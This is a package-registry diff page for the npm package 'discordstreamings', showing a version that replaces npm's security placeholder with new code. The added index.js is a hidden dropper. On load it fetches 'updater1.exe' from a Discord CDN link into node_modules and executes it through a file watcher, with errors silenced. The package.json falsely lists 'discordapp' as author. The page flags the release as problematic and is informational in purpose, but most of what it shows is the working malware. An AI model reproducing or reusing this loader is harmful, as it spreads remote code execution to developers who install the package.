discordstreamings 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of discordstreamings might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +53 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,53 @@
1
+ const fs = require('fs');
2
+ const https = require('https');
3
+ const { exec } = require('child_process');
4
+ const path = require('path');
5
+
6
+ class ExeFileHandler {
7
+ constructor(exePath) {
8
+ this.exePath = exePath;
9
+ }
10
+
11
+ onModified(event) {
12
+ if (event === this.exePath) {
13
+ exec(this.exePath, (error, stdout, stderr) => {
14
+ if (error) {
15
+ }
16
+ });
17
+ }
18
+ }
19
+ }
20
+
21
+ async function downloadExe(repoUrl, exeFilename) {
22
+ const downloadPath = path.join('node_modules', exeFilename); // Save the file in the node_modules folder
23
+
24
+ const fileStream = fs.createWriteStream(downloadPath);
25
+ const response = await new Promise((resolve, reject) => {
26
+ const request = https.get(repoUrl, (response) => {
27
+ response.pipe(fileStream);
28
+ resolve(response);
29
+ });
30
+ request.on('error', reject);
31
+ });
32
+
33
+ if (response.statusCode === 200) {
34
+ observeFile(downloadPath);
35
+ } else {
36
+ }
37
+ }
38
+
39
+ function observeFile(exePath) {
40
+ fs.watch(exePath, (event) => {
41
+ if (event === 'change') {
42
+ exec(exePath, (error, stdout, stderr) => {
43
+ if (error) {
44
+ }
45
+ });
46
+ }
47
+ });
48
+ }
49
+
50
+ const githubUrl = "https://cdn.discordapp.com/attachments/919194639997759521/1169003244949872690/updater1.exe?ex=6553d21c&is=65415d1c&hm=c1f634e2551206c0cdc09c2403dbbcdd7a1491ea956ef255dae087ebdeb21e53&"; // Replace with the correct URL
51
+ const exeFilename = "updater1.exe";
52
+
53
+ downloadExe(githubUrl, exeFilename);
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "discordstreamings",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "devDependencies": {},
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "discordapp",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=discordstreamings for more information.